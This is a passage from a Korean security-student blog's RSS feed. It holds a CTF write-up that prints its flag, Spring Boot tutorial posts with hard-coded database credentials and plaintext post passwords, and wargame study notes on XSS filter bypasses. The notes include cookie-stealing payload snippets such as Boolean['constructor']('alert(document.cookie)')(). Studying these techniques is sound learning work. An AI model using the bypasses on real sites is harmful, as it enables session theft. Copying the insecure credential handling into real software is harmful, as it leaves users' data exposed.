            1048px 48px #0f0,
            1056px 48px #0f0,
            1112px 48px #0f0,
            1120px 48px #0f0,
            1128px 48px #0f0,
            1136px 48px #0f0,
            1200px 48px #0f0,
            1208px 48px #0f0,
            248px 56px #0f0,
            256px 56px #0f0,
            1200px 56px #0f0,
            1208px 56px #0f0,
            256px 64px #0f0,
            264px 64px #0f0,
            872px 64px #0f0,
            880px 64px #0f0,
            888px 64px #0f0,
            896px 64px #0f0,
            904px 64px #0f0,
            1192px 64px #0f0,
            1200px 64px #0f0;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 엄청 수상한 CSS 파일이 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 px들이 좌표를 나타내는구나 라고 예상해서 클로드 한테 각 좌표에 맞게 도트를찍어 달라했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdrDh2/dJMcaa4FTZo/vWXcNF82DVx7YMkK2pM4Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdrDh2/dJMcaa4FTZo/vWXcNF82DVx7YMkK2pM4Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdrDh2/dJMcaa4FTZo/vWXcNF82DVx7YMkK2pM4Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdrDh2%2FdJMcaa4FTZo%2FvWXcNF82DVx7YMkK2pM4Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;198&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌표에 맞게 도트를 찍으니 이런 플래그가 나오더군요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 저 동그란 글자가 0인지 O인지 헷갈렸는데, 중간에 줄 처럼 그어진게 숫자를 나타내는거 같아서 0으로 적어냈더니 통과가 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭔가 슴슴한 문제였네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG = v1t{H1D30UT_CSS}&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/CTF</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/190</guid>
      <comments>https://yoongarret.tistory.com/190#entry190comment</comments>
      <pubDate>Thu, 6 Nov 2025 19:04:57 +0900</pubDate>
    </item>
    <item>
      <title>스프링부트로 웹 페이지 만들어보기 - 5. 글 작성 백엔드</title>
      <link>https://yoongarret.tistory.com/189</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;스프링부트로&amp;nbsp;웹&amp;nbsp;페이지&amp;nbsp;만들어보기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 글 작성 기능에 대한 백엔드 코드에 대해서 기록해 볼 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전에 작성한 글을 통해 이해한 스프링부트 구조에 맞게, 기능을 담당하는 서비스와 DB 연결의 중심이 되는 레파지토리, DB 테이블을 뜻하는 엔티티까지 작성하고 컨트롤러로 연결하여 마무리 해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 엔티티 작성&lt;/h4&gt;
&lt;pre id=&quot;code_1759994798671&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//BoardEntity.java
package com.example.demo.entity;

import com.example.demo.dto.BoardDTO;
import jakarta.persistence.*;
import lombok.AccessLevel;
import lombok.Getter;
import lombok.NoArgsConstructor;

@Entity
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)
@Table(name = &quot;board_table_2025&quot;)
public class BoardEntity{
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;

    @Column
    private String boardWriter;

    @Column
    private String boardPass;

    @Column
    private String boardTitle;

    @Column
    private String boardContents;

    @Column
    private int boardHits;

    public static BoardEntity toSaveEntity(BoardDTO boardDTO) {
        BoardEntity boardEntity = new BoardEntity();
        boardEntity.boardWriter = boardDTO.getBoardWriter();
        boardEntity.boardPass = boardDTO.getBoardPass();
        boardEntity.boardTitle = boardDTO.getBoardTitle();
        boardEntity.boardContents = boardDTO.getBoardContents();
        boardEntity.boardHits = 0;
        return boardEntity;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스의 테이블을 정의해주는 파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Entity 어노테이션으로 이 자바 파일이 엔티티 파일이라는 것을 스프링부트에 알려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엔티티 파일은 테이블의 역할을 하는 파일이기에, 외부에서 이 파일에 접근하여 엔티티의 값을 변경하지 말라고 권고한다합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 Getter는 만들어두지만, Setter를 만들어두지 않음으로써 이 엔티티에 접근하는 것을 미리 방지하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@NoArgsConstructor 어노테이션을 통하여 생성자 역시 아무 클래스에서 객체로 만들어 쓰지 못 하도록 기본 생성자를 두되 접근제어를 추가하여 엔티티를 보호하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거저거 찾아보니 권고사항이다 라고 해서 위와 같이 만들어보았는데, 자세한 사항까지는 아직 공부하지 못 했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차차 더 만들어가면서 공부해보아야겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 @Table 어노테이션으로 테이블 이름을 선언해주고, @Id를 통해 PK를 정의해주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Column 어노테이션으로 테이블의 컬럼들을 차례차례 만들어주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;static으로 선언한 toSaveEntity 메서드는 DTO에 담겨있는 값을 Entity에 옮겨주는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 위에서 설명한것 처럼 다른 클래스에서 Entity에 대해 객체를 만들어서 쓰지 못하게 하였기에, 클래스의 메서드를 통하여 접근하도록 만들어 보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 서비스 작성&lt;/h4&gt;
&lt;pre id=&quot;code_1761032593506&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//BoardService.java
package com.example.demo.service;

import com.example.demo.dto.BoardDTO;
import com.example.demo.entity.BoardEntity;
import com.example.demo.repository.BoardRepository;
import lombok.RequiredArgsConstructor;
import org.springframework.stereotype.Service;

@Service
@RequiredArgsConstructor
public class BoardService {
    private final BoardRepository boardRepository;

    public void save(BoardDTO boardDTO) {
        BoardEntity boardEntity = BoardEntity.toSaveEntity(boardDTO);
        boardRepository.save(boardEntity);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Service 어노테이션을 통하여 이 파일이 서비스의 역할을 한다고 스프링부트에 알려주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 저장에 대한 기능을 만들어주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardEntity 클래스의 toSaveEntity 메서드에 접근하여 사용하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;boardRepository.save(boardEntity); 라고 작성된 코드가 레파지토리를 사용한다는 코드입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직은 기능이 저장 밖에 없기에 짧게 작성되었네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 레파지토리 작성&lt;/h4&gt;
&lt;pre id=&quot;code_1761034098942&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//BoardRepository.java
package com.example.demo.repository;

import com.example.demo.entity.BoardEntity;
import org.springframework.data.jpa.repository.JpaRepository;

public interface BoardRepository extends JpaRepository&amp;lt;BoardEntity, Long&amp;gt; {
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서비스가 레파지토리를 사용하여 DB에 데이터 저장을 요청하도록 작성하였으니, 그 중간을 담당하는 레파지토리를 작성해줘야겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굉장히 짧아보여서 처음엔 의아했지만, 찾아보니 많은 기능이 함축된 코드였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;interface로 선언됨에 따라 직접 구현하는게 아닌 JPA가 자동으로 구현체를 만들어줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특별히 쿼리를 작성할 것 없이 스프링이 내부적으로 처리해준다네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;extends 를 통해 JpaRepository를 상속하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JpaRepositorysms 스프링에서 제공하는 인터페이스로, DB에 필요한 기본 메서드들을 다 만들어 둔 모음집 같은겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 특별히 작성할 것 없이 다양한 메서드들을 자동으로 제공해준다네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뒤에 적인 &amp;lt;BoardEntity, Long&amp;gt;은 각각 어떤 엔티티와 연결된 건지, 뒤는 엔티티의 PK(기본키)의 자료형을 뜻합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 엔티티에서 id를 만들때 Long 자료형으로 선언해줬죠, 그에 맞게 작성해주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;거의 대부분의 기능을 직접 작성 할 것 없이 스프링이 해줘서, 코드가 매우 간결해졌습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 컨트롤러가 요청을 받아 서비스가 이를 실행해주고 레파지토리가 쿼리를 자동 생성하여 저장하는 쿼리를 DB에 전달합니다. 정확힌 JPA가 내부에서 쿼리를 만들어준다고하네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 연결된 DB에 쿼리가 실행되어, 결과적으로 요청받은 값들이 DB에 저장됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 엔티티와 서비스, 레파지토리까지 작성해보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레파지토리를 작성할 때 뭔가 허전한 느낌을 많이 받았는데, 찾아보니 사실 내부에서 다 해주는 거였더라고요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저 한줄로 많은 기능이 뒤에서 동작해준다니 신기한 기분이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음에는 글 목록 기능을 추가해보고 정리해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/실습</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/189</guid>
      <comments>https://yoongarret.tistory.com/189#entry189comment</comments>
      <pubDate>Tue, 21 Oct 2025 17:22:05 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹 - XSS Filter Bypass</title>
      <link>https://yoongarret.tistory.com/188</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS Filter Bypass&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워게임을 풀다보면 다양한 키워드 필터링을 만나게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공부하다보니 필터링을 우회하는 법이 되게 다양하다는걸 알게되어, 까먹지 않기 위해 글로 적어서 남겨볼까합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 자바스크립트를 이용하는 공격인 XSS 에 대한 필터링 관련 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트 필터링에 대해서 적어볼 예정입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 유니코드를 활용한 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트는 문자열에 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법을 지원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 a를 유니코드 &quot;\u0061&quot;로 적어도 a로 인식한다는 거죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 &quot;document&quot;라는 키워드를 필터링한다고 할 때, d의 유니코드인 &quot;\u0064&quot;를 사용하여 &quot;\u0064ocument&quot;라고 적을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러면 &quot;document&quot;라는 고정 키워드 필터링은 우회하되, 서버는 유니코드를 해석하여 document 그대로 받아드리게 됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 대체 구문과 동적 접근 활용&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;동적 접근&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적 접근이란 객체 속성에 계산식이나 변수값을 통해서 접근하는 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;obj.key나 obj[&quot;key&quot;] 로 표현하는게 여기에 해당됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자주 쓰는 document.cookie도 동적 접근을 활용한 구문이되네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 동적접근 기능에서 유용하게 사용할만한 기능이 또 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 cookie라는 키워드가 필터링 중이라면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;document[&quot;coo&quot;+&quot;kie&quot;] 로 표현하여 우회할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 두 문자열로 쪼갠 후 합쳐줘도 서버에서는 저걸 document[cookie]로 해석하게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;document.cookie와 같은 말이고 필터링은 우회가 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에 유니코드를 활용한 우회를 섞어서 더 변형할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) document[&quot;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;\u0063&lt;/span&gt;oo&quot;+&quot;k&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;\u0069&lt;/span&gt;e&quot;]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;window와 self, this&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 필터링 된 구문을 대체하는 구문을 사용하여 우회할 수 도있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;alert나 document등이 필터링 중일 때 window를 사용하여 우회할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;window['ale'+'rt'](1) 이런 구문은 alert(1)과 동일하게 동작하게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;window가 필터링이라면, 같은 역할을 하는 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;self나 this&lt;/span&gt;로 대체하여 우회해 볼 수 도있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval()같은 함수를 사용하여 우회하는 페이로드도 자주 보입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval()은 전달된 문자열을 자바스크립트 코드로 해석하여 실행하는 함수입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 필터링에 들어가 있는 경우가 문제마다 보이는데,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval(payload)의 형태 대신 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;Function(payload)&lt;/span&gt;() 의 형태로 대체가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Function()&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 보았듯 Function을 사용하여 코드를 실행 시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Function마저 필터링 됬을 경우 자바스크립트 함수의 constructor 속성에 접근하여 이를 우회할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;Boolean['constructor']&lt;/span&gt;('alert(document.cookie)')()&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. &quot;, ', ` 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 페이로드를 작성하다보면 문자열을 만들어야하는 경우가 많습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 &quot;나 '를 사용하지만 따옴표가 막혔다면 백틱(`)을 사용하여 문자열을 만들 수 도있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이 모든 방법이 다 막혔을 때도 있는데, 그럴때 역시 문자열을 만드는 방법이 존재했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;RegExp 객체를 사용하여 문자열 만들기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RegExp는 문자열 패턴을 정의하는 객체 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패턴 매칭, 검색, 치환 등으로 사용되는 도구지만, 문자열을 만드는데 사용할 수 도 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) /hello/.source; === &quot;hello&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;자바스크립트 형 변환 규칙을 활용하여 문자열 만들기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트엔 형 변환 규칙이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서로 다른 형태의 피연산자가 연산이 될 때 다른 한쪽의 형태가 변하는 규칙입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 문자열 + 배열의 형태를 띄면, 배열이 문자열로 치환되면서 문자열 결합이 일어납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열과 숫자의 결합도 마찬가지입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 '-'나 '%'같은 숫자 연산자가 사용되면, 문자열 - 숫자일 시 문자열이 숫자로 바뀌게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 중 더하기(+)연산자를 활용하여 문자열을 만들어 낼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;문자열&quot; + [] 같은, 문자열+배열의 형태를 사용하면 따옴표와 같은 효과를 낼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;괄호 필터링 우회법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 신기했던 우회법 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 내장 함수나 객체를 문자열로 변경하게되면, 함수나 객체의 형태가 문자열로 변환됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 얻은 문자열을 배열로 묶어서 한 글자 한 글자 가져올 수 있는데, 여기서 괄호를 뽑아내서 사용하는 방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 형 변환 규칙에 대해 설명할 때, 문자열과 빈 배열을 더하면 문자열이 된다고했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비슷하게 함수와 빈 배열을 더하면, 함수의 내용이 문자열이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 history라는 내장 함수가 있습니다. 이 내장 함수에 + []로 빈 배열을 더하게되면 &quot;[object History]&quot; 라는 문자열을 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문자열을 배열로 묶어서 원하는 글자를 빼낼 수 있는겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) (history+[])[2] === &quot;b&quot; // [object History]의 3번째 (0부터 시작이므로)인 &quot;b&quot;를 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL이라는 내장함수가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 함수를 .toString()이나 빈 배열을 더하는 등 문자열로 바꾸면 &quot;function URL() { [native code] }&quot;라는 문자열을 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 위에서 처럼 배열로 묶어서 소괄호와 중괄호를 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예)(URL+[])[12] === &quot;(&quot;, (URL+[])[13] === &quot;)&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 배열이 아닌 숫자를 문자열에 더해도 숫자가 문자로 치환되면서 문자열의 끝에 붙에 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) URL+0 === &quot;function URL() { [native code] }0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/이론 정리</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/188</guid>
      <comments>https://yoongarret.tistory.com/188#entry188comment</comments>
      <pubDate>Wed, 15 Oct 2025 18:07:13 +0900</pubDate>
    </item>
    <item>
      <title>스프링부트로 웹 페이지 만들어보기 - 4. DB 연결과 스프링부트의 구조</title>
      <link>https://yoongarret.tistory.com/187</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;스프링부트로 웹 페이지 만들어보기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저번에 만들던거에 이어서 DB 연결과 글 작성 기능 백엔드, 글 목록 기능까지 기록해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 연결의 경우 일단 완성이 목표이기에 계정 관련을 하드코딩하여 만든 후 서버로 옮겨서 서비스 해볼때 설정을 마무리 해볼 생각입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. DB 연결&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB는 MySQL을 사용했습니다. 버전은 8.2입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1759987515366&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//application.yml
server:
  port: 8080

spring:
  application:
    name: demo
  datasource:
    driver-class-name: com.mysql.cj.jdbc.Driver
    url: jdbc:mysql://localhost:3306/db_first?serverTimezone=Asia/Seoul&amp;amp;characterEncoding=UTF-8
    username: hyj562
    password: 1234
  thymeleaf:
    cache: false

  jpa:
    open-in-view: false
    show-sql: true
    hibernate:
      ddl-auto: update
      format_sql: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 접속용 파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단은 클라이언튼에서 시험용으로 사용할거기에 계정정보도 하드코딩하여 DB와 연결해주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA란 자바 객체와 DB 테이블을 매핑하기 위한 방식 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후에 DB 테이블을 만들 SQL이 아닌 자바로 작성하게 해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA를 사용하기 위해 build.gradle에는 아래와 같이 추가해주었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1759988092173&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dependencies {
    //생략...
	implementation 'org.springframework.boot:spring-boot-starter-data-jpa'
	runtimeOnly 'com.mysql:mysql-connector-j'
}&lt;/code&gt;&lt;/pre&gt;
